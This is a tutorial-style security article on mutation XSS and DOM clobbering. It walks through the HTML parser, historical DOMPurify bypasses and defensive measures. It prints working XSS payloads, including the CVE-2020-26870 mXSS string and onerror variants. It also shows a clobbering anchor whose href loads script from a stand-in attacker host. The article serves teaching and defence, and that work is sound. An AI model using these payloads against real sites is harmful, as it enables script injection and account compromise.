Allowing users to insert HTML content is a common feature in web applications. WYSIWYG editors, commenting systems, messaging services, CMSs and collaborative tools often need to allow the use of rich text whilst preventing the execution of arbitrary JavaScript code.
To secure these features, applications generally rely on HTML sanitisers, which are responsible for removing tags and attributes that could lead to Cross-Site Scripting (XSS).
However, filtering HTML is more complex than it appears. This is because the HTML code sent to a browser is not directly converted into an immutable representation. The HTML parser interprets the document, corrects certain invalid structures, manages different namespaces and may produce a DOM tree that differs from the original markup.
In some situations, data considered safe at the time of sanitisation may therefore be interpreted differently during subsequent parsing. This is notably the principle exploited by Mutation XSS, or mXSS.
The DOM also has another historical particularity: some elements with id or name attributes can become accessible as properties of JavaScript objects such as window, document or certain <form> elements. This mechanism can be exploited to indirectly alter the behaviour of a script: this is known as DOM clobbering.
In this article, we explain in detail how the DOM and the HTML parser work, to help us understand mXSS and DOM clobbering. We also analyse several historical bypasses of DOMPurify and explore how to identify and prevent these vulnerabilities.
Comprehensive Guide to mXSS and DOM Clobbering
- What is the DOM?
- HTML, SVG and MathML: Understanding DOM Namespaces
- Why Does the Browser Modify the HTML?
- HTML Sanitiser: What is Really Filtered
- innerHTML and Roundtrip Parsing
- What is Mutation XSS (mXSS)?
- Historical Example: Mutation XSS and DOMPurify Prior to Version 2.0.17
- DOM Clobbering: Hijacking JavaScript via HTML Injection
- Real-World Case: Bypassing DOMPurify 3.1.1 and 3.1.2
- How to Look for mXSS and DOM Clobbering During a Penetration Test?
- How to Protect Yourself Against Mutation XSS and DOM Clobbering?
- Do not parse HTML when it is not necessary
- Use a recognised sanitiser when HTML actually needs to be accepted
- Always keep the sanitiser and its surroundings clean
- Sanitise as close as possible to the final sink
- Never modify the HTML after sanitisation
- Minimise the number of permitted elements and attributes as much as possible
- Strengthen protection against DOM Clobbering
- Do not rely on the properties of a DOM instance within a security component
- Use Trusted Types to validate HTML sinks
- Use CSP as a defence in depth
- Conclusion
What is the DOM?
The Document Object Model, or DOM, is the in-memory representation of a document processed by the browser.
When a browser receives an HTML page, it does not therefore work directly on the text contained in the source file. It analyses this text and gradually builds a tree of nodes.
Let’s take the following snippet as an example:
<div class="profile">
This is my profile pic:
<img src="myimage" alt="Profile picture">
</div>
In particular, the browser will create an object corresponding to the <div> element, a text node, and then an HTMLImageElement object corresponding to the <img> tag.
These objects have various properties and methods that allow JavaScript to dynamically access or modify the document:
const image = document.querySelector('img');
console.log(image.src);
image.alt = 'New description';
image.remove();
The key point, therefore, is to distinguish between two things: the HTML code received by the browser and the DOM tree actually constructed from that code.
These two representations are not necessarily identical. It is precisely this difference that becomes important for understanding Mutation XSS (mXSS).
HTML attributes can also alter the browser’s behaviour. Indeed, DOM elements expose numerous properties that derive directly from their HTML attributes.
For example, a <img> tag has a src attribute specifying the resource to be loaded:
<img src="/avatar.png">
It may also have properties corresponding to event handlers:
<img src="invalid" onerror="alert(1)">
In this second example, if the image fails to load, the browser interprets the value of `onerror` as JavaScript.
This is why event handlers such as `onclick`, `onload`, `onerror` or `onmouseover` are common vectors for XSS exploitation.
A sanitiser must therefore be able to analyse not only the tags present, but also their attributes, their values and the context in which they will be interpreted.
HTML, SVG and MathML: Understanding DOM Namespaces
Another important feature of DOM is that an HTML document can contain elements from several markup languages.
The three namespaces of particular interest in the context of mXSS are: HTML, SVG and MathML.
For example:
<div>HTML namespace</div>
<svg>
<circle cx="20" cy="20" r="10"></circle>
</svg>
<math>
<mi>x</mi>
</math>
These elements may coexist within the same document, but they do not always follow the same parsing rules.
When a document is interpreted as text/html, SVG and MathML are not simply passed to a separate XML parser. The HTML parser has specific rules for handling foreign content, which allow it to switch between the HTML, SVG and MathML namespaces. In particular, the specification defines HTML integration points and MathML text integration points, which determine how certain tokens should be processed.
This distinction is important.
DOMParser is not ‘the parser used by browsers’. It is a JavaScript API designed explicitly to parse a string of characters. When used with the MIME type `text/html`, it triggers the HTML parser; with `application/xml` or `image/svg+xml`, it uses the XML rules.
In a standard HTML document, the browser directly uses the parsing algorithms defined by the HTML specification.
Let’s take a deliberately incorrect example:
<svg>
<p>Hello</p>
</svg>
The <p> tag is not expected at this position within SVG content rendered within an HTML document.
The HTML parser has recovery rules that allow it to exit the SVG context and reconstruct a coherent structure.
The resulting DOM may therefore be equivalent to:
<svg></svg>
<p>Hello</p>
The browser has altered the structure of the document.
This ability to automatically repair markup is one of the fundamental mechanisms behind Mutation XSS attacks.
Why Does the Browser Modify the HTML?
The HTML parser is designed to be extremely tolerant.
On the web, a considerable number of pages contain incomplete, incorrect or ambiguous HTML. Browsers cannot, therefore, simply stop rendering as soon as a syntax error occurs.
Instead, the HTML specification defines numerous recovery rules that enable the creation of a usable DOM even from a malformed document.
Two mechanisms in particular play an important role: the tokeniser and the tree-building algorithm.
How does the HTML tokeniser work?
The tokeniser progressively converts a string of characters into tokens representing, amongst other things:
StartTag
EndTag
Character
Comment
DOCTYPE
It works like a state machine.
Depending on the characters it encounters, it can go through states such as:
Data
Tag open
Tag name
Before attribute name
Attribute name
Attribute value
Self-closing start tag
Let’s take the following payload:
<img/src="x"/onerror=alert(1)>
At first glance, the tag appears to be incorrectly formatted. However, a browser may interpret it as the equivalent of:
<img src="x" onerror="alert(1)">
Put simply, the tokeniser begins by recognising ‘img’ as a tag name. When it encounters ‘/’, it attempts to treat the tag as self-closing. However, the following character does not match what is expected in this state.
Rather than abandoning the parsing process, the algorithm flags a parsing error and re-consumes the characters in a state that allows it to recognise a new attribute.
‘src’ and ‘onerror’ thus become valid attributes.
The absence of spaces therefore does not necessarily prevent the payload from being interpreted:
<img/src=x/onerror=alert(1)>
In particular, this behaviour can lead to the circumvention of homemade filters or security measures based on overly simple regular expressions.
The tokeniser isn’t enough: the Tree Builder then constructs the DOM
Once the tokens have been generated, the browser must determine where to place them in the DOM tree. This is the role of the tree-building algorithm.
In particular, this algorithm maintains a ‘stack of open elements’, as well as various insertion modes.
It is here that many structural corrections take place.
Let us consider:
<a>First link<a>Second link
<a> tags cannot simply be nested in this way. The parser therefore corrects the structure and typically produces two adjacent elements:
<a>First link</a>
<a>Second link</a>
Similar behaviour can be observed with nested forms, some table elements, or transitions between HTML, SVG and MathML.
User-controlled input may therefore undergo several transformations before it is rendered in the final DOM.
HTML Sanitiser: What is Really Filtered
When an application needs to allow rich text, it cannot generally encode all HTML characters, as this would prevent the use of tags such as <strong>, <em>, <a> or <p>.
It must therefore distinguish between permitted HTML and dangerous HTML.
This is the role of a sanitiser.
The exact mechanism depends on the library used. In the case of a DOM-based sanitiser such as DOMPurify, an HTML string is parsed within an isolated DOM; the nodes and attributes are then traversed and checked before the sanitised result is returned. DOMPurify thus uses the parser provided by the DOM environment in which it runs.
For example:
const dirty = `
<p>Hello</p>
<img src="x" onerror="alert(1)">
`;
const clean = DOMPurify.sanitize(dirty);
The expected result will be close to:
<p>Hello</p>
<img src="x">
The `onerror` attribute has been removed.
This approach is considerably more robust than a filter based solely on string searches or regular expressions.
However, a subtlety arises when the DOM controlled by the sanitiser is subsequently serialised and then parsed again.
innerHTML and Roundtrip Parsing
innerHTML is used to define the HTML content of an element:
container.innerHTML = html;
When a string is assigned to it, the browser does not insert it as plain text.
It parses it as an HTML fragment, constructs the corresponding DOM nodes and then replaces the children of the target element.
For this reason, `innerHTML` is considered an injection sink: data controlled by an attacker and passed directly to this property can lead to an XSS attack.
With a sanitiser, user input is first parsed and converted into a DOM so that it can be inspected and sanitised. The result is then serialised into HTML and, if assigned to `innerHTML`, is parsed once more by the browser to produce the final DOM.
There are therefore potentially two instances of parsing the same content.
However, a fundamental property of HTML comes into play here: serialising a DOM tree and then re-parsing the resulting string does not necessarily guarantee that exactly the same DOM tree will be obtained.
It is this difference between the two representations that provides the ideal breeding ground for Mutation XSS attacks. DOMPurify’s security history specifically lists the discrepancies between the tree inspected by the sanitiser and the tree ultimately constructed at the sink as one of the main classes of bypass.
DOMParser may present the same type of risk. The API:
new DOMParser().parseFromString(html, 'text/html');
creates a DOM document separate from the main document.
This document is essentially inert: scripts present in the markup are not executed and event handlers are not triggered during parsing.
However, this does not mean that the content is safe.
If the nodes produced in this way are subsequently transferred to the active document, certain dangerous behaviours may become active again. This API must therefore also be handled with care when the input comes from an untrusted source.
What is Mutation XSS (mXSS)?
A Mutation XSS (mXSS) is an XSS attack that relies on a transformation of the markup or the DOM between the moment it is deemed safe and the moment it is finally interpreted by the browser.
In a typical mXSS scenario, the payload is first parsed into a form that appears harmless to the sanitiser. However, following sanitisation, serialisation, transformation or further parsing may alter this structure and reveal a dangerous construct capable of triggering an XSS.
The distinctive feature of mXSS is therefore that the malicious code is not necessarily represented as executable code at the time the sanitiser analyses it.
For example, part of the payload may be treated as simple text during the initial parsing, then become <img src="x" onerror="alert(1)"> following a DOM mutation.
The sanitiser has therefore never actually ‘seen’ the onerror attribute in the form in which the browser will execute it.
Furthermore, an mXSS is not simply a way of bypassing a blacklist. With a filter, an attacker may attempt to disguise a known string such as <scr<script>ipt> or exploit differences in case sensitivity, encoding or syntax.
An mXSS exploit takes advantage of something even more fundamental: the parsing model itself.
Payloads can, in particular, exploit differences in namespaces, rules relating to forms or tables, raw text elements, comments, mutations caused by serialisation, or DOM depth limits.
Historical Example: Mutation XSS and DOMPurify Prior to Version 2.0.17
An excellent example of mXSS was published in 2020 by Michał Bentkowski. The payload was as follows:
<form><math><mtext></form><form><mglyph><style></math><img src onerror=alert(1)>
This vulnerability corresponds to CVE-2020-26870.
One point needs to be clarified here with regard to certain historical accounts: the vulnerability affected versions of DOMPurify prior to 2.0.17. Version 2.0.17 introduced the fix.
The value of this payload lies in the fact that it combines two distinct features of the parser: incorrectly nested forms and transitions between the HTML and MathML namespaces.
Initial parsing: the payload appears harmless
The first part is:
<form>
<math>
<mtext>
mtext is a MathML text integration point.
Under certain conditions, the elements it contains may therefore be processed according to HTML rules.
Next comes:
</form><form>
Due to the specific handling of the form element pointer, the initial parsing may produce a structure containing a form configuration that cannot be reconstructed in exactly the same way during the subsequent parsing.
Next come:
<mglyph>
<style>
During this initial parsing, the intermediate <form> tag means that `mglyph` is not directly interpreted as a MathML child of `mtext`. It therefore ends up in the HTML namespace.
Consequently, <style> is also interpreted as an HTML element. However, in the HTML namespace, the content of <style> is treated as text.
The sequence </math><img src onerror=alert(1)> is therefore not represented as a <img> tag with an event handler. To the sanitiser, it is simply the text content of a <style>.
The inspected structure therefore does not contain any dangerous onerror attributes that need to be removed.
Serialisation of the DOM
After sanitisation, DOMPurify might produce a string similar to:
<form>
<math>
<mtext>
<form>
<mglyph>
<style>
</math><img src onerror=alert(1)>
</style>
</mglyph>
</form>
</mtext>
</math>
</form>
This string now contains two nested forms. However, this structure is not stable during subsequent parsing.
Second parsing: namespace change
When this string is subsequently assigned to `innerHTML`, the parser encounters the second `<form>` whilst a form is already active.
The second `<form>` element is then no longer created in the same way. Consequently, `<mglyph>` is now directly linked to the MathML context of `<mtext>`. Thus, its namespace changes.
During the first parsing, <mglyph> is interpreted within the HTML namespace. During the second parse, however, it is found within the MathML namespace. This change in context directly alters the way the browser interprets the elements that follow.
The <style> placed below is therefore no longer an HTML style element functioning as a plain text area.
The sequence </math><img src onerror=alert(1)> is then reinterpreted as markup. </math> exits the MathML context, after which the browser constructs a genuine HTML element:
<img src="" onerror="alert(1)">
The event handler can then be executed.
The sanitiser had analysed a safe structure, whilst the browser executes a different one. This is a Mutation XSS caused by namespace confusion.
Why this example remains important today
Browsers and sanitisers have evolved significantly since 2020.
Indeed, several historical mXSS techniques can no longer be reproduced exactly on modern browsers, particularly due to changes in the serialisation of HTML attributes.
Payloads of this type must therefore always be tested with the exact versions of the targeted browser and sanitiser. Recent research shows, however, that these parsing mechanisms remain an active area of research.
The purpose of this example is therefore not to provide a universal payload, but to demonstrate a fundamental property: the representation controlled by the sanitiser and that used by the final sink may differ.
DOM Clobbering: Hijacking JavaScript via HTML Injection
mXSS are not the only way to exploit the DOM’s characteristics.
Let’s imagine that an application is vulnerable to HTML injection, but that a correctly configured sanitiser prevents the addition of <script> or <img onerror="...">.
The attacker may still be able to insert harmless elements such as:
<a>
<form>
<input>
with attributes such as:
id
name
href
In some situations, this is enough to influence the behaviour of the page’s JavaScript. This is the principle behind DOM clobbering, which involves using an HTML injection to manipulate the DOM and indirectly alter the behaviour of the JavaScript executed by the application.
DOM Named Access
The DOM has several historical mechanisms for named access.
Some HTML elements with an id or name attribute may therefore appear as properties of browser objects.
Take, for example: <a id="config"></a>.
In certain contexts, the browser may allow access to this element via window.config without a JavaScript variable named config having been explicitly declared.
This behaviour should therefore not be regarded as a universal means of ‘creating JavaScript variables using HTML’.
The phenomenon is more specific. In fact, the browser exposes certain elements through its named property resolution mechanisms. And it is these properties that DOM clobbering seeks to hijack.
DOM Clobbering example
Let’s take a look at the following code:
const config = window.config || {};
const script = document.createElement('script');
script.src = config.url;
document.body.appendChild(script);
The developer assumes that `window.config` is either a genuine configuration object or `undefined`. In the latter case, `{}` will be used.
But let us now suppose that an attacker can inject HTML such as: `<a id="config"></a>`.
window.config may then correspond to a DOM object. And the expression window.config || {} no longer returns {}. It returns the element controlled by the attacker.
The next step is to gain control of config.url. This is where DOM collections come into play.
Exploiting Anchor Collections
A common method is to create two anchors with the same ID:
<a id="config"></a>
<a id="config" name="url" href="https://attacker.example/payload.js"></a>
Depending on the browser and context, `config` may now represent a collection of nodes. The `name=‘url’` attribute then allows access to the second element via the `config.url` property, and the element’s `href` property provides a value controlled by the attacker.
The JavaScript gadget `script.src = config.url;` can then turn a simple HTML injection into the loading of a JavaScript resource controlled by the attacker.
This technique of using multiple anchors with the same id and an additional name is one of the classic methods documented in research on DOM clobbering.
The result, however, depends on the browser and the exact implementation of the DOM. A DOM clobbering payload must therefore always be tested in the browser actually used by the target.
Clobbering form properties
The <form> elements are particularly useful.
The browser allows you to access certain form controls via their ‘name’ or ‘id’. For example:
<form id="myForm">
<input name="username">
</form>
allows access to the field via `myForm.username`, amongst other things.
However, this mechanism may conflict with the form’s actual properties or methods. Take, for example:
<form id="myForm">
<input name="submit">
</form>
In certain situations, `myForm.submit` no longer refers to the native method used to submit the form. The property has been overridden by the `<input>` element.
The same principle applies to properties used by security mechanisms. For example:
<form onclick="alert(1)">
<input id="attributes">
</form>
If a sanitiser assumes that `element.attributes` is always a `NamedNodeMap` object, the `<input id="attributes">` element may undermine this assumption.
The filter may then fail to iterate over the form’s actual attributes and allow the `onclick` event to pass through.
This is an important lesson: a native property of a DOM object should not necessarily be considered reliable when read directly from an instance controlled by an attacker.
DOM Clobbering and CSP
A restrictive Content Security Policy can prevent many classic XSS techniques, including the execution of inline JavaScript. However, it does not prevent DOM clobbering itself.
The HTML elements used to clobber a property do not necessarily contain JavaScript. An attacker may therefore attempt to hijack a gadget that is already present in the scripts authorised by the CSP.
For example:
script.src = config.url;
If the CSP permits the destination that is ultimately used, or if the gadget enables access to another sink that is compatible with the policy, DOM clobbering may become a step in a chain of bypasses.
The CSP should therefore be regarded as a defence-in-depth measure, rather than a solution to DOM clobbering.
Second-order DOM Clobbering
A property may also become clobbered following an initial transformation of the DOM. This is known as second-order DOM clobbering.
Take, for example:
<form id="user "></form>
<input form="user" name="config">
Initially, the form’s ID is ‘user’ with a trailing space. The attribute `form=‘user’` therefore does not necessarily refer to this form.
But let us suppose that subsequent processing normalises the ID:
form.id = form.id.trim();
The identifier becomes “user”. The association between the input and the form then changes.
A structure that was not compromised at the time of an initial check may therefore become compromised after its attributes have been modified. This is exactly the sort of problem that has played a part in several recent DOMPurify bypasses.
Real-World Case: Bypassing DOMPurify 3.1.1 and 3.1.2
DOMPurify 3.1.1: Bypassing a depth check via DOM clobbering
In 2024, several research studies highlighted a particularly interesting series of DOMPurify bypasses.
An initial bypass of DOMPurify 3.1.0 relied in particular on extremely deep DOM structures and node flattening phenomena.
To mitigate this class of attack, DOMPurify 3.1.1 introduced an internal depth counter.
Put simply, each node was assigned a __depth value calculated from that of its parent.
The logic was intended to remove structures that became abnormally deep. However, a subtlety arose when retrieving the parent.
Logic equivalent to `currentNode.parentNode.__depth` assumes that `currentNode.parentNode` necessarily corresponds to the native DOM property.
However, certain properties of a `<form>` may be overwritten by its children. For example:
<div id="parent">
<form id="f">
<input name="parentNode">
</form>
</div>
may cause code that directly manipulates `f.parentNode` to observe an unexpected value in vulnerable contexts.
The depth counter could then be reset or tampered with, allowing the mechanism introduced by DOMPurify to be bypassed.
This technique enabled a bypass to be constructed for versions up to 3.1.1 in the affected environments.
The subsequent fix involved no longer trusting the property retrieved directly from the instance, but instead using a more secure mechanism to access the actual DOM parent.
This is an important general rule for sanitisers: the security properties of a DOM node must be obtained from trusted primitives, and not through instance properties that may be affected by named access.
DOMPurify 3.1.2 : Second-order DOM Clobbering
DOMPurify 3.1.2 strengthened these safeguards. However, a new subtlety remained in the order in which the processing took place.
Put simply, the sanitiser first carried out certain DOM clobbering checks on an element, and then proceeded to sanitise and normalise its attributes.
Let’s take a form with `<form id="x "></form>` and an `<input form="x" name="__depth">` element.
At the time of the initial check, id="x " and form="x" do not match. The clobbering scenario has therefore not yet arisen.
However, if the sanitiser subsequently normalises ‘x ’ to ‘x’, the association with the input element becomes apparent. The DOM has become clobbered after the check that was supposed to detect the clobbering. This is a secondary issue.
Research by Kévin Mizu has shown how this mechanism could, in particular, be combined with the __depth counter and other HTML mutations to construct a bypass for versions up to DOMPurify 3.1.2.
The lesson extends far beyond DOMPurify. Data or a structure considered safe at a given moment can thus become dangerous following normalisation, rewriting, serialisation, an attribute mutation, a change of parent or a new parsing operation.
A security check must therefore consider the representation actually used after these transformations, not just its initial state.
How to Look for mXSS and DOM Clobbering During a Penetration Test?
These vulnerabilities can rarely be identified simply by sending a few standard XSS payloads.
It is best to start by reconstructing the complete data flow. The first step is to determine where the input is retrieved from:
location.search
location.hash
postMessage
API
WebSocket
stored content
WYSIWYG editor
The next step is to identify all the processing steps applied before the data is inserted: parsing, Markdown, templates, placeholder replacement, URL transformation, sanitisation, serialisation, processing by a third-party library, etc.
The key point is to locate the final sink. For example, `element.innerHTML = value;` or `element.insertAdjacentHTML(“beforeend”, value);`.
Once this flow has been reconstructed, the aim is to trace the data from its source to the final HTML sink, identifying each intermediate transformation: parsing, sanitisation, serialisation, processing by a third-party library or application-level rewriting. A step carried out after the sanitiser is particularly important to analyse, as it may alter the structure that had previously been considered safe.
For mXSS, the DOM must be compared before and after each parsing step, in particular:
element.namespaceURI
element.nodeName
element.parentNode
element.outerHTML
Tools such as DOM Explorer are particularly useful for visualising namespaces and the resulting mutations.
For DOM clobbering, the focus should instead be on the application’s JavaScript and the gadgets that access potentially controllable properties.
Finally, tests must be carried out in real browsers.
Some DOM clobbering mechanisms are not replicated identically by the DOM implementations used on the Node.js side. The DOMPurify documentation specifically highlights that certain form behaviours required for clobbering attacks are not replicated by jsdom, which can give a false sense of security when tests are run exclusively on the server side.
How to Protect Yourself Against Mutation XSS and DOM Clobbering?
There is no single remedy that applies to all these vulnerabilities.
The strategy must, above all, limit the situations in which untrusted data can be interpreted as HTML and reduce the number of transformations carried out between sanitisation and its final use.
Do not parse HTML when it is not necessary
The simplest way to protect against this is simply not to use an HTML sink when you only want to display text. Thus, `element.textContent = userInput;` is far preferable to `element.innerHTML = userInput;` if no HTML formatting is required.
- `
textContent` creates text. - `
innerHTML` triggers a parser.
This difference alone eliminates a large part of the attack surface.
Use a recognised sanitiser when HTML actually needs to be accepted
Writing your own HTML sanitiser is extremely difficult.
The HTML parser has a vast number of specific rules and behaviours relating to namespaces, insertion modes and error correction.
It is therefore preferable to rely on maintained and extensively tested libraries such as DOMPurify on the JavaScript side, Symfony HtmlSanitizer within the PHP ecosystem, or sanitize-html in certain Node.js architectures.
This recommendation does not imply that these libraries cannot be bypassed.
It means that a specialised library, which is continuously tested against modern attack techniques, provides a far more robust foundation than a filter developed specifically for a single application.
Always keep the sanitiser and its surroundings clean
The bypasses described in this article demonstrate that a sanitiser is itself a critical security component.
It must therefore be treated as a sensitive dependency.
DOMPurify continues to regularly incorporate safeguards against mXSS, namespaces and DOM clobbering.
The update must also cover the DOM environment.
When DOMPurify is run server-side under Node.js, the official documentation explicitly recommends using a recent version of jsdom, as a vulnerability in the underlying DOM parser could compromise the sanitiser’s own security guarantees.
Sanitise as close as possible to the final sink
Security checks must be applied to the representation that will actually be rendered.
The key principle is therefore not necessarily ‘client-side sanitisation’ or ‘server-side sanitisation’, but rather: sanitising within a context consistent with the final renderer and as late as possible before insertion.
In a complex application, it may be appropriate to maintain an internal representation of the content and then sanitise it at the time of rendering.
If server-side sanitisation relies on an emulated DOM, the parser and its version also become trusted components.
Never modify the HTML after sanitisation
This is probably the most important rule regarding mXSS. Let’s take the following example:
let clean = DOMPurify.sanitize(userInput);
clean = addMentions(clean);
container.innerHTML = clean;
Even if DOMPurify.sanitize() has produced safe content, addMentions() may accidentally recreate an unsafe structure.
Take, for example, some code that adds tags around a mention:
<b id="user@domain">
If the transformation naively concatenates untrusted data into this attribute, it may cause the output to deviate from the intended context and create a new, dangerous tag.
The sanitisation carried out previously no longer protects this new structure.
The key principle to remember is simple: all functional transformations must be carried out before sanitisation, which should take place as late as possible, just before insertion. Conversely, modifying the HTML again after it has been sanitised may recreate a dangerous structure and nullify the safeguards provided by the sanitiser.
Minimise the number of permitted elements and attributes as much as possible
The richer the permitted HTML, the greater the attack surface. If a feature requires only:
<strong>
<em>
<p>
<br>
<a>
There is no need to enable MathML, SVG, forms or a large number of attributes.
With DOMPurify, for example, an application that only requires HTML can use a restricted profile:
const clean = DOMPurify.sanitize(dirty, {
USE_PROFILES: {
html: true
}
});
By default, DOMPurify allows HTML, SVG and MathML content; restricting the profile to what is actually necessary therefore reduces the scope for manipulating namespace transitions.
The same principle should be applied to attributes. An editor that only needs:
href
title
class
should not arbitrarily accept all available attributes.
Strengthen protection against DOM Clobbering
DOMPurify includes specific defences against this type of attack. For example, SANITIZE_DOM is enabled by default.
For contexts requiring stricter isolation of named properties, the option:
DOMPurify.sanitize(dirty, {
SANITIZE_NAMED_PROPS: true
});
prefixes the values of `id` and `name` with `user-content-` to minimise conflicts with JavaScript properties.
However, it remains essential to also secure the application’s JavaScript code. A pattern such as `const settings = window.settings || {};` should be avoided when `settings` can be influenced by the DOM.
It is preferable to store configurations in explicitly defined lexical variables and to validate the expected types before passing a value to a sensitive sink.
For example, before executing `script.src = config.url;`, the code must have much stronger guarantees than simply the existence of `config.url`.
Do not rely on the properties of a DOM instance within a security component
This recommendation is primarily aimed at developers of sanitisers or components that handle untrusted DOM.
Code such as:
node.attributes
node.parentNode
node.nodeName
node.removeChild
can become dangerous if its logic assumes that these properties can never be influenced by named access.
Robust implementations use safe references to native getters and methods to prevent a property present directly on the object controlled by the attacker from taking precedence.
This is notably the type of hardening progressively applied in DOMPurify.
Use Trusted Types to validate HTML sinks
Trusted Types provide a particularly useful additional defence against DOM XSS.
When a Content Security Policy enforces Trusted Types, certain dangerous sinks can no longer directly receive arbitrary JavaScript code.
For example, you can create a policy that centralises sanitisation:
const policy = trustedTypes.createPolicy('app-html', {
createHTML(input) {
return DOMPurify.sanitize(input);
}
});
container.innerHTML = policy.createHTML(userInput);
The aim is to make `container.innerHTML = userInput;` a prohibited operation by default.
Only TrustedHTML objects created by an explicitly authorised policy may be passed to the sink.
DOMPurify has native support for Trusted Types and can also return a TrustedHTML object when configured to do so.
Trusted Types does not replace the sanitiser: the policy responsible for creating the TrustedHTML must itself correctly transform the input.
However, this approach significantly reduces the risk of a developer introducing a new `innerHTML = untrustedData;` elsewhere in the application without going through the centralised security mechanism.
Use CSP as a defence in depth
A correctly configured Content Security Policy can limit the impact of many XSS attacks.
In particular, a policy based on nonces or hashes can block a large proportion of inline JavaScript.
However, CSP does not prevent HTML injection, DOM mutation, or named access that enables DOM clobbering.
It should therefore not be used to justify a less stringent sanitiser.
The correct approach is therefore to combine several complementary layers: use secure DOM APIs, apply context-appropriate sanitisation, strictly limit permitted tags and attributes, write robust JavaScript code, deploy Trusted Types where relevant, and complement the whole with a restrictive CSP.
Each layer limits a different set of exploitation scenarios.
Conclusion
Mutation XSS and DOM clobbering are particularly good examples of the complexity of browser-side security.
In an mXSS attack, the vulnerability does not necessarily stem from a sanitiser failing to recognise a <script> tag. The problem may arise because the structure inspected by the sanitiser is no longer the same as the one the browser interprets a few moments later.
A transition between the HTML and MathML namespaces, the removal of a form during a second parse, or simple serialisation may be enough to transform a harmless structure into an XSS attack.
DOM clobbering exploits a different property: the browser’s historical named access mechanisms allow certain HTML elements to alter the resolution of JavaScript properties.
A simple HTML injection can then influence an otherwise legitimate script and, where an exploitable gadget exists, be transformed into a redirect, resource loading or XSS.
In both cases, the key security principle to bear in mind is similar: data must never be considered safe regardless of the context in which it will ultimately be interpreted.
Sanitising HTML is necessary when rich text needs to be accepted, but this is not enough.
It is also essential to manage successive parsing stages, transformations carried out after sanitisation, the sinks used by the application, authorised namespaces and interactions between the DOM and JavaScript.
It is this end-to-end analysis – from the user-controlled source right through to the representation actually interpreted by the browser – that enables mXSS and DOM clobbering vulnerabilities to be effectively identified and prevented.
Resources
WHATWG – HTML Living Standard, parsing: https://html.spec.whatwg.org/multipage/parsing.html
MDN – DOMParser.parseFromString(): https://developer.mozilla.org/en-US/docs/Web/API/DOMParser/parseFromString
MDN – Element.innerHTML: https://developer.mozilla.org/en-US/docs/Web/API/Element/innerHTML
DOMPurify – official project: https://github.com/cure53/DOMPurify
DOMPurify – Attack Classes & Bypass History: https://github.com/cure53/DOMPurify/wiki/Attack-Classes-%26-Bypass-History
PortSwigger – DOM Clobbering: https://portswigger.net/web-security/dom-based/dom-clobbering
PortSwigger – DOM Clobbering strikes back: https://portswigger.net/research/dom-clobbering-strikes-back
Kévin Mizu – Exploring the DOMPurify library: bypasses and fixes: https://mizu.re/post/exploring-the-dompurify-library-bypasses-and-fixes